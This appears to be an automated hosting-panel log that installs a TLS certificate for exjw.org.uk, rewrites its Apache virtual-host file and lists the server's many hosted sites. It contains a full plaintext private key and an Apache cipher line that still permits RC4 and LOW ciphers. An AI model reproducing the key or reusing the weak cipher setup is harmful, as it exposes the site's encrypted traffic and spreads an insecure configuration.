MIIE/DCCA+SgAwIBAgISBjsKLg+NTfW/tJPxaisc5sTXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI3MTI1NzIyWhcNMjYwMzI3MTI1NzIxWjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANs8
CSAEfd3NjyDaRWhoqHCmnZmlFnaKfacQaGb/KFelUMhQMWgWGzQmigFyG8e03j8n
Q3yDxi4N/Hgz/QlP6UIsPMANEZ6CAxLhxDN3/EUXZpK/TEcQzce2/14aVLVoLs65
axP/Q/auEYtnE34S7ofqOnX8PlqIcRtlBzVC/yO6IqYRHJu6+NQKYcxUwx6jKXqL
3QyBKee7lvkdRD4in60DecoQjqx74a6YhysBlGfcuYskBzI494SNFVwXkqTVsGna
/f0HW8yDC9ENz/XwagodGdAgnupjUcHR8j1Hp+9/56fer7w5ZRnUxA9ODSoRlFtW
G4mCA45AZUWxknxdtgcCAwEAAaOCAiUwggIhMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUXlA9yPxSvjniiCfUYdLRYJa+UJ8wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtleGp3Lm9yZy51azATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iu
b3JnLzg4LmNybDCCAQ4GCisGAQQB1nkCBAIEgf8EgfwA+gB3AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABm2AYIo4AAAQDAEgwRgIhAKvsXtgazKMQ
gbc2oBzCdAprdOxswqMtrBKgfkfU0j8XAiEA+xO6Jte0BMrIMgiApXuaLQrvmrvv
WaUKrw7cfEjpCC0AfwClyXiSXVdGF4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAA
AZtgGCVmAAgAAAUALPx7vAQDAEgwRgIhALriMdJVsffjNALQxEptmu1SkUj7714x
kGGIOZzvEtuUAiEAqn4+Si0k2dXiSN+PNholXYH/4kzGgsY60jRXGmjOk1swDQYJ
KoZIhvcNAQELBQADggEBAApyuz1PHVOFJkMtq/nUf5qbXS5n9tOpaVImFSebCcCU
ksyx/0eii4Sdpl4WU2/XUvvPO5ccXvJnn61D3WxD1Ks1sp7RMTem3hVfPJ5exGNt
1z74OuWuRr8Y0N+50yw2pU6sAAdSH8rx8CU6O8qW8luZkA3ojxh1QGm/IwmhRoBo
BMxG950THL3wrVsdoimQw4TBYTnuQZ0oNiLyErwM9fNSCizqmnXBP0HtZqeDBdK8
KlsGKtOiLuFr4ycI6sCz8a3V15TGPFRI+BOIXV9afTr8jK9Uqr3JPeKYo/BuNyC8
X6FtyISbttRc89zOM9WIPJyLnECk/HtXswtFKLvj7Cw=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbPAkgBH3dzY8g
2kVoaKhwpp2ZpRZ2in2nEGhm/yhXpVDIUDFoFhs0JooBchvHtN4/J0N8g8YuDfx4
M/0JT+lCLDzADRGeggMS4cQzd/xFF2aSv0xHEM3Htv9eGlS1aC7OuWsT/0P2rhGL
ZxN+Eu6H6jp1/D5aiHEbZQc1Qv8juiKmERybuvjUCmHMVMMeoyl6i90MgSnnu5b5
HUQ+Ip+tA3nKEI6se+GumIcrAZRn3LmLJAcyOPeEjRVcF5Kk1bBp2v39B1vMgwvR
Dc/18GoKHRnQIJ7qY1HB0fI9R6fvf+en3q+8OWUZ1MQPTg0qEZRbVhuJggOOQGVF
sZJ8XbYHAgMBAAECggEALvMtdRjhJ6YE9+EmqhR3tiBIcgYDyIEiJawC38PXDOYP
Zcaevg615rY2KdcZEeyvB9FNx5Wk1GoUXl2r29msN4qnu+1Qj6SCKgIFdYxFjzpS
siyblkCIATQ0fh+fcnYMSCM3RkINeP+QLE13xDEjuiG0QV4ysEq2Bkrdf0+IukqV
8T5mNUbqvuNTf9YgjMJ9hUgTqgnRnEVYzvuH8VuZX2mnSM0gKbSk8tZnimgrSM+F
2IeaaRdjknIedewp5W16TRYus6ltz2o9IhcbQuj8OR18FUNLIoywh2rE/ZkQa6gn
PvMOxi01jW/8x0x+uC3Gbn20v0um4qjtYZKTBzHE8QKBgQDx0pMuMsX14hl6PvEG
hi+pIuaS8iQ5WMcIDR+FPTnKHS4zBQRN5EjrKalWgn8S6aKDejMPP5EdffhjuRf1
DBY3kYCgvubGj1/FAiWGQbtBDEsyoWQ6Lq/m46hPZnMaioBAeoPxq1G9HCfrLLyL
pwZb1CSF1sHjDEKd2PSxOFId2QKBgQDoFnH1INVYpASYxTFjDo4gdU+54FUaU575
ZtBdtnrelypH6RnhCvFzZoo0tgNEt6aZp/9qclcShLLYtM7Fms1gP0XrwWrPxjFw
bRl5ntNkA8DYTaC3SnOArlmQTO8cDjhPAKkgEN5lKmPdVJUUpIFjKyt4UDp1yvkz
MkwbzXOm3wKBgETpcS/VIDy1tfT0QtNNIf/dBkAR6Oi+t9k/hCAAFpvWPPglEdjw
mScKtEsG3ReSpNE63ZoWz0/MOiCQ+pbGXv5u5GzqefFTokMOHYto5+fdjQBcpac+
7rmpXqlh1KNXnLzDLR6NZ7mwcF/AW+qgKlu41L+fN5lwQPuie/iUyDHhAoGBAKB+
JP/mXKKXibY7ZxOhFRfNB/z57N/vw5ekSaMEdaNH1a00vPiqoJ204w3gcBItDcBk
NHRf7WaY7TR+lB6CFlPgbXHCpyJXZAji6SL5eiVHkywBQop9qbHq33SyPwefrcC0
LEBIagJ7deOwggdsWy1AxSbGFCcw3XNR7N+tC7TxAoGAE4eFRxtOhWyjzKA0Ln+L
u39sK1yyV7KfaWO+4nJ7RRgPuj5xRuYgq+rlzZe7/dCe3Z5fkvUHW9poTF+MbTFb
Uf93tvPUZLsNVlpY8NfHWnb5EfBCFLd8ewj7o6GBwHnenrnuHDsRDFHMLaAoj9L/
vUYmS16e8uAycdo5IgqJies=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-27 13:55:54:
chmod 755 /tmp/pkp528841; /tmp/pkp528841; rm /tmp/pkp528841
2025-12-27 13:55:54:
dir=/etc/ssl/certs
2025-12-27 13:55:55:
PUT: /tmp/pkp875077
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/exjw_www_org-uk.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-27 13:55:55:
chmod 755 /tmp/pkp875077; /tmp/pkp875077; rm /tmp/pkp875077
2025-12-27 13:55:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf 39
<VirtualHost *:80>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_access.log combined
ErrorLog /var/log/apache2/exjw/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_secure_access.log combined
ErrorLog /var/log/apache2/exjw/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-27 13:55:55:
PUT: /tmp/pkp156195
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=exjw_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/exjw_www_org-uk.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_access.log combined
ErrorLog /var/log/apache2/exjw/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_secure_access.log combined
ErrorLog /var/log/apache2/exjw/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/exjw_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf= 1'
fi
2025-12-27 13:55:55:
chmod 755 /tmp/pkp156195; /tmp/pkp156195; rm /tmp/pkp156195
2025-12-27 13:55:55:
2025-12-27 13:55:55:
PUT: /tmp/pkp739702
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-27 13:55:55:
chmod 755 /tmp/pkp739702; /tmp/pkp739702; rm /tmp/pkp739702
2025-12-27 13:55:55:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-27 13:55:55: Establishing a connection
2025-12-27 13:55:55:
PUT: /tmp/pkp110655
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-27 13:55:55:
chmod 755 /tmp/pkp110655; /tmp/pkp110655; rm /tmp/pkp110655
2025-12-27 13:55:55:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-27 13:55:55:
PUT: /tmp/pkp643904
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/exjw_www_org-uk.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-27 13:55:55:
chmod 755 /tmp/pkp643904; /tmp/pkp643904; rm /tmp/pkp643904
2025-12-27 13:55:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf 1259
<VirtualHost *:80>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_access.log combined
ErrorLog /var/log/apache2/exjw/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_secure_access.log combined
ErrorLog /var/log/apache2/exjw/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-27 13:55:55:
PUT: /tmp/pkp705149
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-27 13:55:55:
chmod 755 /tmp/pkp705149; /tmp/pkp705149; rm /tmp/pkp705149
2025-12-27 13:55:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt 5352
8e:a4:5b:c1:5e:a5:0b:75:f6:c8:8e:77:fb:f1:ca:7e
-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBjsKLg+NTfW/tJPxaisc5sTXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI3MTI1NzIyWhcNMjYwMzI3MTI1NzIxWjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANs8
CSAEfd3NjyDaRWhoqHCmnZmlFnaKfacQaGb/KFelUMhQMWgWGzQmigFyG8e03j8n
Q3yDxi4N/Hgz/QlP6UIsPMANEZ6CAxLhxDN3/EUXZpK/TEcQzce2/14aVLVoLs65
axP/Q/auEYtnE34S7ofqOnX8PlqIcRtlBzVC/yO6IqYRHJu6+NQKYcxUwx6jKXqL
3QyBKee7lvkdRD4in60DecoQjqx74a6YhysBlGfcuYskBzI494SNFVwXkqTVsGna
/f0HW8yDC9ENz/XwagodGdAgnupjUcHR8j1Hp+9/56fer7w5ZRnUxA9ODSoRlFtW
G4mCA45AZUWxknxdtgcCAwEAAaOCAiUwggIhMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUXlA9yPxSvjniiCfUYdLRYJa+UJ8wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtleGp3Lm9yZy51azATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iu
b3JnLzg4LmNybDCCAQ4GCisGAQQB1nkCBAIEgf8EgfwA+gB3AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABm2AYIo4AAAQDAEgwRgIhAKvsXtgazKMQ
gbc2oBzCdAprdOxswqMtrBKgfkfU0j8XAiEA+xO6Jte0BMrIMgiApXuaLQrvmrvv
WaUKrw7cfEjpCC0AfwClyXiSXVdGF4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAA
AZtgGCVmAAgAAAUALPx7vAQDAEgwRgIhALriMdJVsffjNALQxEptmu1SkUj7714x
kGGIOZzvEtuUAiEAqn4+Si0k2dXiSN+PNholXYH/4kzGgsY60jRXGmjOk1swDQYJ
KoZIhvcNAQELBQADggEBAApyuz1PHVOFJkMtq/nUf5qbXS5n9tOpaVImFSebCcCU
ksyx/0eii4Sdpl4WU2/XUvvPO5ccXvJnn61D3WxD1Ks1sp7RMTem3hVfPJ5exGNt
1z74OuWuRr8Y0N+50yw2pU6sAAdSH8rx8CU6O8qW8luZkA3ojxh1QGm/IwmhRoBo
BMxG950THL3wrVsdoimQw4TBYTnuQZ0oNiLyErwM9fNSCizqmnXBP0HtZqeDBdK8
KlsGKtOiLuFr4ycI6sCz8a3V15TGPFRI+BOIXV9afTr8jK9Uqr3JPeKYo/BuNyC8
X6FtyISbttRc89zOM9WIPJyLnECk/HtXswtFKLvj7Cw=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
